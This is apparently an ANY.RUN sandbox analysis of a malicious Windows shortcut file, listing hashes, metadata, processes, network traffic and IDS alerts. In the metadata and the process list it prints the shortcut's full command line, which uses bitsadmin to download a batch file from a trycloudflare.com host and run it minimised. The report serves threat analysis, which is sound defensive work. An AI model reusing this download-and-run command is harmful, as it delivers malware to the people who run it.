File name:

_eb528f225cec66c6e8b3735d2456161bd43fd08a48ea4626f2164009a2de9c94.lnk

Full analysis: https://app.any.run/tasks/1055f107-e6ef-4c56-974d-6e097aa0c9ac
Verdict: Malicious activity
Analysis date: July 21, 2025, 14:42:21
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
susp-lnk
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=11, Unicoded, MachineID vincent-addy KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, Archive, ctime=Sat Jun 5 12:05:12 2021, atime=Fri Feb 14 01:04:04 2025, mtime=Sat Jun 5 12:05:12 2021, length=331776, window=showminnoactive, IDListSize 0x0135, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\cmd.exe"
MD5:

1D4F73D78CBC8B40BC9F340DD3E49B99

SHA1:

5F13239C496DC9CE93A4388B48E2114DC8CC8DA1

SHA256:

EB528F225CEC66C6E8B3735D2456161BD43FD08A48EA4626F2164009A2DE9C94

SSDEEP:

24:8N+jZgmZsxNTJBGesmroEADcA+/cdOLxf+5ekCgbDgYYqEEQjbvbZIGnTr:8q8TXHsIsDXdDksDlB3QjbvbZPnTr

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts windows command line (LNK)

      • cmd.exe (PID: 1976)
    • Suspicious script execution (LNK)

      • cmd.exe (PID: 1976)
    • Downloads files via BITSADMIN.EXE

      • cmd.exe (PID: 1976)
  • SUSPICIOUS

    No suspicious indicators.
  • INFO

    • Checks proxy server information

      • slui.exe (PID: 1380)
    • Reads the software policy settings

      • slui.exe (PID: 1380)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, RelativePath, WorkingDir, CommandArgs, IconFile, Unicode
FileAttributes: Archive
CreateDate: 2021:06:05 12:05:12+00:00
AccessDate: 2025:02:14 01:04:04+00:00
ModifyDate: 2021:06:05 12:05:12+00:00
TargetFileSize: 331776
IconIndex: 11
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: cmd.exe
DriveType: Fixed Disk
DriveSerialNumber: 10F5-EE2B
VolumeLabel: -
LocalBasePath: C:\Windows\System32\cmd.exe
RelativePath: ..\..\..\..\Windows\System32\cmd.exe
WorkingDirectory: C:\Program Files (x86)\Microsoft\Edge\Application
CommandLineArguments: /c bitsadmin /transfer job /download /priority FOREGROUND https://ask-causing-tide-dubai.trycloudflare.com/vin.bat %TEMP%\vin.bat && start /min %TEMP%\vin.bat
IconFileName: %ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe
MachineID: vincent-addy
No data.
screenshotscreenshotscreenshot
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Total processes
137
Monitored processes
5
Malicious processes
0
Suspicious processes
1

Behavior graph

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start cmd.exe no specs conhost.exe no specs bitsadmin.exe no specs svchost.exe slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
1336bitsadmin /transfer job /download /priority FOREGROUND https://ask-causing-tide-dubai.trycloudflare.com/vin.bat C:\Users\admin\AppData\Local\Temp\vin.bat C:\Windows\System32\bitsadmin.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Version:
7.8.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\bitsadmin.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\sspicli.dll
1380C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
1976"C:\Windows\System32\cmd.exe" /c bitsadmin /transfer job /download /priority FOREGROUND https://ask-causing-tide-dubai.trycloudflare.com/vin.bat C:\Users\admin\AppData\Local\Temp\vin.bat && start /min C:\Users\admin\AppData\Local\Temp\vin.batC:\Windows\System32\cmd.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
2200C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2324\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
3 759
Read events
3 759
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
33
TCP/UDP connections
52
DNS requests
22
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
HEAD
502
104.16.230.132:443
https://ask-causing-tide-dubai.trycloudflare.com/vin.bat
unknown
unknown
1268
svchost.exe
GET
200
23.216.77.6:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
5944
MoUsoCoreWorker.exe
GET
200
23.216.77.6:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
4916
RUXIMICS.exe
GET
200
23.216.77.6:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
5944
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
1268
svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
POST
200
20.190.159.129:443
https://login.live.com/RST2.srf
unknown
xml
1.24 Kb
whitelisted
POST
200
20.190.159.0:443
https://login.live.com/ppsecure/deviceaddcredential.srf
unknown
text
16.7 Kb
whitelisted
POST
200
40.126.31.2:443
https://login.live.com/RST2.srf
unknown
xml
11.1 Kb
whitelisted
POST
200
20.190.159.131:443
https://login.live.com/RST2.srf
unknown
xml
11.1 Kb
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
whitelisted
1268
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5944
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4916
RUXIMICS.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
whitelisted
2716
svchost.exe
104.16.231.132:443
ask-causing-tide-dubai.trycloudflare.com
CLOUDFLARENET
whitelisted
4140
svchost.exe
239.255.255.250:1900
whitelisted
4916
RUXIMICS.exe
23.216.77.6:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5944
MoUsoCoreWorker.exe
23.216.77.6:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1268
svchost.exe
23.216.77.6:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 4.231.128.59
  • 51.104.136.2
whitelisted
google.com
  • 142.250.184.238
whitelisted
ask-causing-tide-dubai.trycloudflare.com
  • 104.16.231.132
  • 104.16.230.132
whitelisted
crl.microsoft.com
  • 23.216.77.6
  • 23.216.77.30
  • 23.216.77.19
  • 23.216.77.32
  • 23.216.77.36
  • 23.216.77.37
  • 23.216.77.21
  • 23.216.77.18
  • 23.216.77.27
  • 23.216.77.28
  • 23.216.77.42
  • 23.216.77.22
  • 23.216.77.8
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
login.live.com
  • 20.190.160.5
  • 20.190.160.65
  • 20.190.160.128
  • 20.190.160.3
  • 40.126.32.140
  • 20.190.160.64
  • 20.190.160.130
  • 40.126.32.76
whitelisted
client.wns.windows.com
  • 172.211.123.248
  • 172.211.123.249
whitelisted
slscr.update.microsoft.com
  • 172.202.163.200
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.85.23.206
whitelisted
self.events.data.microsoft.com
  • 13.89.178.27
whitelisted

Threats

PID
Process
Class
Message
2200
svchost.exe
Potentially Bad Traffic
ET INFO Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)
2200
svchost.exe
Potentially Bad Traffic
SUSPICIOUS [ANY.RUN] Cloudflare Tunnel (TryCloudflare)
2716
svchost.exe
Misc activity
ET INFO Observed trycloudflare .com Domain in TLS SNI
2716
svchost.exe
Misc activity
ET HUNTING TryCloudFlare Domain in TLS SNI
No debug info